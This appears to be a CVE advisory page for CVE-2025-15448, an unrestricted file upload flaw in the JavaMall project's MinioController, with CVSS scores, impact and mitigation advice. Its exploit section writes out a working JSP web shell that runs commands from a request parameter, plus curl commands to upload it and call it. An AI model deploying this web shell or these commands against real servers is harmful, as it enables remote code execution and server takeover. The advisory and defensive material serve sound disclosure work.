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A vulnerability, identified as CVE-2025-15448, exists in the JavaMall project by cld378632668 up to commit 994f1e2b019378ec9444cdf3fce2d5b5f72d28f0. The flaw is located in the `Upload` function within the `MinioController.java` file. This function fails to properly validate or restrict the types of files being uploaded, leading to an Unrestricted Upload of File with Dangerous Type (CWE-434) vulnerability . An attacker can exploit this remotely by sending a crafted request to the upload endpoint with a malicious file, such as a web shell or other executable content. Because the application does not verify the file’s content or extension, the malicious file is accepted and stored on the server . This can lead to remote code execution if the uploaded file is subsequently accessed and executed in the server’s context. The project uses a rolling release model, so specific version identifiers are not provided, and the vendor did not respond to disclosure attempts .
DailyCVE Form:
Platform: JavaMall
Version: up to commit 994f1e2
Vulnerability : Unrestricted File Upload
Severity: Medium
date: Jan 4, 2026
Prediction: Not available (vendor unresponsive)
What Undercode Say:
Analytics:
- CVE ID: CVE-2025-15448
- CVSS 4.0 Score: 5.3 (Medium) `(CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)`
– CVSS 3.1 Score: 6.3 (Medium) `(CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L)`
– EPSS Score: 0.00034 (as of Jan 5, 2026) - CWE: CWE-434 (Unrestricted Upload of File with Dangerous Type)
- Attack Vector: Network
- Privileges Required: Low
- User Interaction: None
Exploit:
Example using curl to upload a malicious JSP file (webshell.jsp)
This assumes the vulnerable endpoint is mapped to /upload or similar.
The exact endpoint path needs to be discovered from the source code.
JSP_PAYLOAD='<%@ page import="java.util.,java.io."%>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>'
echo "$JSP_PAYLOAD" > webshell.jsp
Replace <JAVAMALL_URL> with the target application's base URL
curl -F "[email protected]" http://<JAVAMALL_URL>/path/to/vulnerable/upload
After upload, access the shell
curl http://<JAVAMALL_URL>/path/to/uploads/webshell.jsp?cmd=id
Protection from this CVE:
- Input Validation: Implement strict allow-list validation on the server-side for file types, extensions, and MIME types.
- Content Verification: Scan file content to ensure it matches expected file types, not just relying on extension or MIME header.
- Secure Storage: Store uploaded files outside the web root or in a location not directly accessible via URL. Serve files through a script that enforces access controls.
- Filename Sanitization: Rename uploaded files to a random, server-generated name to prevent direct access and execution.
- Disable Execution: Configure the storage directory to prevent the execution of scripts (e.g., using .htaccess for Apache or disabling execute permissions).
Impact:
A successful exploit allows an attacker with low privileges to upload arbitrary files, including web shells or malicious scripts. This can lead to:
– Remote Code Execution (RCE): Executing system commands on the underlying server.
– Data Breach: Accessing, modifying, or deleting sensitive data stored in the database or file system.
– Server Compromise: Using the compromised server as a foothold for further attacks on internal networks.
– Defacement: Altering the application’s content or functionality.
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Sources:
Reported By: nvd.nist.gov
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